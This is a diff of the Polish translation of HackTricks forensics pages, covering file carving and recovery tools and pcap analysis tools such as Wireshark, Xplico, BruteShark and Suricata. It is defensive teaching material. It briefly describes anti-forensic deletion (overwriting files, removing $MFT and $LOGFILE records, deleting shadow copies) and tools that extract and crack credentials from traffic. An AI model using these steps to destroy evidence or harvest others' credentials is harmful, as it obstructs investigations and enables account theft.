Oczywiście istnieją sposoby **"bezpiecznego" usuwania plików i części logów o nich**. Na przykład można **nadpisać zawartość** pliku danymi śmieciami kilka razy, a następnie **usunąć** logi z **$MFT** i **$LOGFILE** dotyczące pliku, oraz **usunąć kopie migawkowe woluminu**.\
|
||||
Możesz zauważyć, że nawet wykonując tę czynność, mogą istnieć **inne miejsca, gdzie istnienie pliku jest nadal rejestrowane**, i zadaniem profesjonalisty ds. informatyki śledczej jest ich znalezienie.
|
||||
Oczywiście istnieją sposoby na **"bezpieczne" usunięcie plików i części logów o nich**. Na przykład, możliwe jest **nadpisanie zawartości** pliku danymi śmieciowymi kilka razy, a następnie **usunięcie** **logów** z **$MFT** i **$LOGFILE** dotyczących pliku oraz **usunięcie kopii cieni woluminu**.\
|
||||
Możesz zauważyć, że nawet wykonując tę akcję, mogą istnieć **inne części, w których istnienie pliku jest nadal zarejestrowane**, i to prawda, a częścią pracy profesjonalisty w dziedzinie forensyki jest ich znalezienie.
|
||||
|
||||
## Odnośniki
|
||||
## Referencje
|
||||
|
||||
* [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||
* [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
|
||||
* [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
|
||||
* [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
|
||||
* **iHackLabs Certified Digital Forensics Windows**
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Narzędzia do wycinania i odzyskiwania danych
|
||||
# File/Data Carving & Recovery Tools
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -22,17 +23,17 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
***
|
||||
|
||||
## Narzędzia do wycinania i odzyskiwania danych
|
||||
## Carving & Recovery tools
|
||||
|
||||
Więcej narzędzi na [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
Więcej narzędzi w [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
||||
### Autopsy
|
||||
|
||||
Najczęściej używanym narzędziem do ekstrakcji plików z obrazów jest [**Autopsy**](https://www.autopsy.com/download/). Pobierz go, zainstaluj i spraw, aby przetworzył plik w celu znalezienia "ukrytych" plików. Zauważ, że Autopsy jest przeznaczony do obsługi obrazów dysków i innych rodzajów obrazów, ale nie prostych plików.
|
||||
Najczęściej używane narzędzie w forensyce do ekstrakcji plików z obrazów to [**Autopsy**](https://www.autopsy.com/download/). Pobierz je, zainstaluj i spraw, aby przetworzyło plik w celu znalezienia "ukrytych" plików. Zauważ, że Autopsy jest zaprojektowane do obsługi obrazów dysków i innych rodzajów obrazów, ale nie prostych plików.
|
||||
|
||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
**Binwalk** to narzędzie do analizy plików binarnych w celu znalezienia osadzonej zawartości. Można je zainstalować za pomocą `apt`, a jego źródło znajduje się na [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
**Binwalk** to narzędzie do analizy plików binarnych w celu znalezienia osadzonych treści. Można je zainstalować za pomocą `apt`, a jego źródło znajduje się na [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
|
||||
**Przydatne polecenia**:
|
||||
```bash
|
||||
|
@ -43,7 +44,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
|||
```
|
||||
### Foremost
|
||||
|
||||
Innym powszechnie stosowanym narzędziem do znajdowania ukrytych plików jest **foremost**. Konfigurację foremost można znaleźć w pliku `/etc/foremost.conf`. Jeśli chcesz wyszukać określone pliki, odkomentuj je. Jeśli nic nie odkomentujesz, foremost będzie przeszukiwał domyślnie skonfigurowane typy plików.
|
||||
Innym powszechnym narzędziem do znajdowania ukrytych plików jest **foremost**. Możesz znaleźć plik konfiguracyjny foremost w `/etc/foremost.conf`. Jeśli chcesz wyszukać konkretne pliki, odkomentuj je. Jeśli nic nie odkomentujesz, foremost będzie szukać domyślnie skonfigurowanych typów plików.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
|
@ -51,56 +52,58 @@ foremost -v -i file.img -o output
|
|||
```
|
||||
### **Scalpel**
|
||||
|
||||
**Scalpel** to kolejne narzędzie, które można użyć do znalezienia i wyodrębnienia **plików osadzonych w pliku**. W tym przypadku będziesz musiał odkomentować z pliku konfiguracyjnego (_/etc/scalpel/scalpel.conf_) typy plików, które chcesz wyodrębnić.
|
||||
**Scalpel** to kolejne narzędzie, które można wykorzystać do znajdowania i wyodrębniania **plików osadzonych w pliku**. W tym przypadku będziesz musiał odkomentować w pliku konfiguracyjnym (_/etc/scalpel/scalpel.conf_) typy plików, które chcesz, aby zostały wyodrębnione.
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
```
|
||||
### Bulk Extractor
|
||||
|
||||
To narzędzie znajduje się w Kali, ale można je znaleźć tutaj: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
To narzędzie znajduje się w Kali, ale możesz je znaleźć tutaj: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
|
||||
To narzędzie może przeskanować obraz i **wydobyć pcapy** wewnątrz niego, **informacje sieciowe (adresy URL, domeny, adresy IP, adresy MAC, maile)** oraz więcej **plików**. Musisz tylko:
|
||||
To narzędzie może skanować obraz i **wyodrębniać pcaps** w nim, **informacje o sieci (URL, domeny, IP, MAC, maile)** i więcej **plików**. Musisz tylko zrobić:
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
Przejrzyj **wszystkie informacje**, które narzędzie zebrało (hasła?), **analizuj** **pakiety** (przeczytaj [**analizę Pcaps**](../pcap-inspection/)), szukaj **dziwnych domen** (domen związanych z **złośliwym oprogramowaniem** lub **nieistniejącymi**).
|
||||
|
||||
### PhotoRec
|
||||
|
||||
Możesz go znaleźć pod adresem [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
|
||||
|
||||
Posiada wersje z interfejsem graficznym i wiersza poleceń. Możesz wybrać **typy plików**, które chcesz, aby PhotoRec wyszukał.
|
||||
Dostępna jest wersja z interfejsem graficznym i wiersza poleceń. Możesz wybrać **typy plików**, które PhotoRec ma wyszukiwać.
|
||||
|
||||
![](<../../../.gitbook/assets/image (242).png>)
|
||||
|
||||
### binvis
|
||||
|
||||
Sprawdź [kod](https://code.google.com/archive/p/binvis/) oraz [narzędzie na stronie internetowej](https://binvis.io/#/).
|
||||
Sprawdź [kod](https://code.google.com/archive/p/binvis/) i [stronę narzędzia](https://binvis.io/#/).
|
||||
|
||||
#### Funkcje BinVis
|
||||
#### Cechy BinVis
|
||||
|
||||
* Wizualizator **struktury** plików
|
||||
* Wizualny i aktywny **podgląd struktury**
|
||||
* Wiele wykresów dla różnych punktów skupienia
|
||||
* Skupienie na fragmentach próbki
|
||||
* **Wykrywanie ciągów znaków i zasobów**, w plikach wykonywalnych PE lub ELF, np.
|
||||
* Pozyskiwanie **wzorców** do kryptografii plików
|
||||
* **Wykrywanie** algorytmów pakowania lub kodowania
|
||||
* **Identyfikacja** steganografii poprzez wzorce
|
||||
* Wizualne porównywanie binarne
|
||||
* Skupienie na częściach próbki
|
||||
* **Widzenie ciągów i zasobów**, w plikach PE lub ELF, np.
|
||||
* Uzyskiwanie **wzorców** do kryptanalizy plików
|
||||
* **Wykrywanie** algorytmów pakujących lub kodujących
|
||||
* **Identyfikacja** steganografii na podstawie wzorców
|
||||
* **Wizualna** różnica binarna
|
||||
|
||||
BinVis to doskonały **punkt startowy do zapoznania się z nieznanym celem** w scenariuszu black-boxing.
|
||||
BinVis to świetny **punkt wyjścia, aby zapoznać się z nieznanym celem** w scenariuszu black-box.
|
||||
|
||||
## Konkretne narzędzia do odzyskiwania danych
|
||||
## Specyficzne narzędzia do wydobywania danych
|
||||
|
||||
### FindAES
|
||||
|
||||
Wyszukuje klucze AES, szukając ich harmonogramów kluczy. Potrafi znaleźć klucze 128, 192 i 256 bitowe, takie jak te używane przez TrueCrypt i BitLocker.
|
||||
Wyszukuje klucze AES, przeszukując ich harmonogramy kluczy. Może znaleźć klucze 128, 192 i 256 bitowe, takie jak te używane przez TrueCrypt i BitLocker.
|
||||
|
||||
Pobierz [tutaj](https://sourceforge.net/projects/findaes/).
|
||||
|
||||
## Narzędzia uzupełniające
|
||||
|
||||
Możesz użyć [**viu** ](https://github.com/atanunq/viu), aby zobaczyć obrazy z terminala.\
|
||||
Możesz użyć narzędzia wiersza poleceń systemu Linux **pdftotext**, aby przekształcić plik PDF na tekst i go odczytać.
|
||||
Możesz użyć [**viu**](https://github.com/atanunq/viu), aby zobaczyć obrazy z terminala.\
|
||||
Możesz użyć narzędzia wiersza poleceń Linux **pdftotext**, aby przekształcić plik pdf w tekst i go przeczytać.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -108,16 +111,17 @@ Możesz użyć narzędzia wiersza poleceń systemu Linux **pdftotext**, aby prze
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,47 +1,48 @@
|
|||
# Inspekcja plików Pcap
|
||||
# Pcap Inspection
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie z zakresu cyberbezpieczeństwa w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając **misję promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
|
||||
[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów z technologii i cyberbezpieczeństwa w każdej dziedzinie.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Informacja o **PCAP** vs **PCAPNG**: istnieją dwie wersje formatu pliku PCAP; **PCAPNG jest nowszy i nie jest obsługiwany przez wszystkie narzędzia**. Może być konieczne przekonwertowanie pliku z PCAPNG na PCAP za pomocą Wiresharka lub innego kompatybilnego narzędzia, aby móc pracować z nim w innych narzędziach.
|
||||
Uwaga na temat **PCAP** vs **PCAPNG**: istnieją dwie wersje formatu pliku PCAP; **PCAPNG jest nowszy i nie jest obsługiwany przez wszystkie narzędzia**. Może być konieczne przekształcenie pliku z PCAPNG na PCAP za pomocą Wireshark lub innego kompatybilnego narzędzia, aby móc z nim pracować w niektórych innych narzędziach.
|
||||
{% endhint %}
|
||||
|
||||
## Narzędzia online do plików pcap
|
||||
## Narzędzia online do pcapów
|
||||
|
||||
* Jeśli nagłówek twojego pliku pcap jest **uszkodzony**, spróbuj go **naprawić** za pomocą: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
|
||||
* Wyodrębnij **informacje** i szukaj **złośliwego oprogramowania** w pliku pcap na stronie [**PacketTotal**](https://packettotal.com)
|
||||
* Szukaj **działań złośliwych** za pomocą [**www.virustotal.com**](https://www.virustotal.com) i [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
|
||||
* **Pełna analiza pcap z przeglądarki na** [**https://apackets.com/**](https://apackets.com/)
|
||||
* Jeśli nagłówek twojego pcap jest **uszkodzony**, powinieneś spróbować go **naprawić** używając: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
|
||||
* Wyciągnij **informacje** i szukaj **złośliwego oprogramowania** w pcap w [**PacketTotal**](https://packettotal.com)
|
||||
* Szukaj **złośliwej aktywności** używając [**www.virustotal.com**](https://www.virustotal.com) i [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
|
||||
* **Pełna analiza pcap z przeglądarki w** [**https://apackets.com/**](https://apackets.com/)
|
||||
|
||||
## Wyodrębnianie informacji
|
||||
## Wyciąganie informacji
|
||||
|
||||
Następujące narzędzia są przydatne do wyodrębniania statystyk, plików, itp.
|
||||
Następujące narzędzia są przydatne do wyciągania statystyk, plików itp.
|
||||
|
||||
### Wireshark
|
||||
|
||||
{% hint style="info" %}
|
||||
**Jeśli zamierzasz analizować plik PCAP, musisz w zasadzie umieć korzystać z Wiresharka**
|
||||
**Jeśli zamierzasz analizować PCAP, musisz znać podstawy korzystania z Wireshark**
|
||||
{% endhint %}
|
||||
|
||||
Możesz znaleźć kilka sztuczek Wiresharka w:
|
||||
Możesz znaleźć kilka trików Wireshark w:
|
||||
|
||||
{% content-ref url="wireshark-tricks.md" %}
|
||||
[wireshark-tricks.md](wireshark-tricks.md)
|
||||
|
@ -53,9 +54,9 @@ Analiza pcap z przeglądarki.
|
|||
|
||||
### Xplico Framework
|
||||
|
||||
[**Xplico** ](https://github.com/xplico/xplico)_(tylko linux)_ może **analizować** plik **pcap** i wyodrębniać z niego informacje. Na przykład z pliku pcap Xplico wyodrębnia każdy e-mail (protokoły POP, IMAP i SMTP), wszystkie treści HTTP, każde połączenie VoIP (SIP), FTP, TFTP, itp.
|
||||
[**Xplico** ](https://github.com/xplico/xplico)_(tylko linux)_ może **analizować** **pcap** i wyciągać z niego informacje. Na przykład, z pliku pcap Xplico wyciąga każdą wiadomość e-mail (protokół POP, IMAP i SMTP), wszystkie treści HTTP, każde połączenie VoIP (SIP), FTP, TFTP itd.
|
||||
|
||||
**Instalacja**
|
||||
**Zainstaluj**
|
||||
```bash
|
||||
sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
|
||||
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
|
||||
|
@ -67,28 +68,28 @@ sudo apt-get install xplico
|
|||
/etc/init.d/apache2 restart
|
||||
/etc/init.d/xplico start
|
||||
```
|
||||
Dostęp do _**127.0.0.1:9876**_ za pomocą poświadczeń _**xplico:xplico**_
|
||||
Dostęp do _**127.0.0.1:9876**_ z danymi uwierzytelniającymi _**xplico:xplico**_
|
||||
|
||||
Następnie utwórz **nowy przypadek**, utwórz **nową sesję** wewnątrz przypadku i **załaduj plik pcap**.
|
||||
Następnie utwórz **nową sprawę**, utwórz **nową sesję** w ramach sprawy i **prześlij plik pcap**.
|
||||
|
||||
### NetworkMiner
|
||||
|
||||
Podobnie jak Xplico, jest to narzędzie do **analizy i wyodrębniania obiektów z plików pcap**. Posiada darmową wersję, którą można **pobrać** [**tutaj**](https://www.netresec.com/?page=NetworkMiner). Działa z systemem **Windows**.\
|
||||
To narzędzie jest również przydatne do **uzyskania innych zanalizowanych informacji** z pakietów, aby móc szybciej dowiedzieć się, co działo się w **sposób bardziej efektywny**.
|
||||
Podobnie jak Xplico, jest to narzędzie do **analizowania i wyodrębniania obiektów z pcapów**. Ma darmową edycję, którą możesz **pobrać** [**tutaj**](https://www.netresec.com/?page=NetworkMiner). Działa na **Windows**.\
|
||||
To narzędzie jest również przydatne do uzyskiwania **innych analizowanych informacji** z pakietów, aby móc szybciej zrozumieć, co się działo.
|
||||
|
||||
### NetWitness Investigator
|
||||
|
||||
Możesz pobrać [**NetWitness Investigator stąd**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Działa w systemie Windows)**.\
|
||||
To kolejne przydatne narzędzie, które **analizuje pakiety** i sortuje informacje w użyteczny sposób, aby **zrozumieć, co się dzieje wewnątrz**.
|
||||
Możesz pobrać [**NetWitness Investigator stąd**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Działa w Windows)**.\
|
||||
To kolejne przydatne narzędzie, które **analizuje pakiety** i sortuje informacje w użyteczny sposób, aby **wiedzieć, co się dzieje wewnątrz**.
|
||||
|
||||
### [BruteShark](https://github.com/odedshimon/BruteShark)
|
||||
|
||||
* Wyodrębnianie i kodowanie nazw użytkowników i haseł (HTTP, FTP, Telnet, IMAP, SMTP...)
|
||||
* Wyodrębnianie skrótów uwierzytelniania i ich łamanie za pomocą Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
|
||||
* Budowanie wizualnego diagramu sieci (Węzły sieci i użytkownicy)
|
||||
* Wyodrębnianie zapytań DNS
|
||||
* Odtwarzanie wszystkich sesji TCP & UDP
|
||||
* Wycinanie plików
|
||||
* Wyodrębnij hashe uwierzytelniające i złam je za pomocą Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
|
||||
* Zbuduj wizualny diagram sieci (Węzły i użytkownicy sieci)
|
||||
* Wyodrębnij zapytania DNS
|
||||
* Odtwórz wszystkie sesje TCP i UDP
|
||||
* File Carving
|
||||
|
||||
### Capinfos
|
||||
```
|
||||
|
@ -96,40 +97,40 @@ capinfos capture.pcap
|
|||
```
|
||||
### Ngrep
|
||||
|
||||
Jeśli szukasz **czegoś** wewnątrz pliku pcap, możesz użyć **ngrep**. Oto przykład użycia głównych filtrów:
|
||||
Jeśli **szukasz** **czegoś** w pcap, możesz użyć **ngrep**. Oto przykład użycia głównych filtrów:
|
||||
```bash
|
||||
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
|
||||
```
|
||||
### Wycinanie
|
||||
### Carving
|
||||
|
||||
Wykorzystanie powszechnych technik wycinania może być przydatne do wyodrębniania plików i informacji z pliku pcap:
|
||||
Użycie powszechnych technik carvingu może być przydatne do wydobywania plików i informacji z pcap:
|
||||
|
||||
{% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Przechwytywanie poświadczeń
|
||||
### Capturing credentials
|
||||
|
||||
Możesz użyć narzędzi takich jak [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) do analizy poświadczeń z pliku pcap lub interfejsu na żywo.
|
||||
Możesz użyć narzędzi takich jak [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) do analizy poświadczeń z pcap lub z aktywnego interfejsu.
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) to najbardziej istotne wydarzenie z zakresu cyberbezpieczeństwa w **Hiszpanii** i jedno z najważniejszych w **Europie**. Mając **misję promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów technologii i cyberbezpieczeństwa we wszystkich dziedzinach.
|
||||
[**RootedCON**](https://www.rootedcon.com/) to najważniejsze wydarzenie związane z cyberbezpieczeństwem w **Hiszpanii** i jedno z najważniejszych w **Europie**. Z **misją promowania wiedzy technicznej**, ten kongres jest gorącym punktem spotkań dla profesjonalistów z dziedziny technologii i cyberbezpieczeństwa w każdej dyscyplinie.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## Sprawdź Wykorzystania/Malware
|
||||
## Check Exploits/Malware
|
||||
|
||||
### Suricata
|
||||
|
||||
**Instalacja i konfiguracja**
|
||||
**Zainstaluj i skonfiguruj**
|
||||
```
|
||||
apt-get install suricata
|
||||
apt-get install oinkmaster
|
||||
echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf
|
||||
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
|
||||
```
|
||||
**Sprawdź plik pcap**
|
||||
**Sprawdź pcap**
|
||||
```
|
||||
suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
||||
```
|
||||
|
@ -137,15 +138,15 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
|||
|
||||
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) to narzędzie, które
|
||||
|
||||
* Odczytuje plik PCAP i wyodrębnia strumienie HTTP.
|
||||
* Kompresuje strumienie, które są skompresowane za pomocą gzip.
|
||||
* Skanuje każdy plik za pomocą Yara.
|
||||
* Tworzy plik raportu report.txt.
|
||||
* Odczytuje plik PCAP i wyodrębnia strumienie Http.
|
||||
* Rozpakowuje wszelkie skompresowane strumienie gzip.
|
||||
* Skanuje każdy plik za pomocą yara.
|
||||
* Pisze report.txt.
|
||||
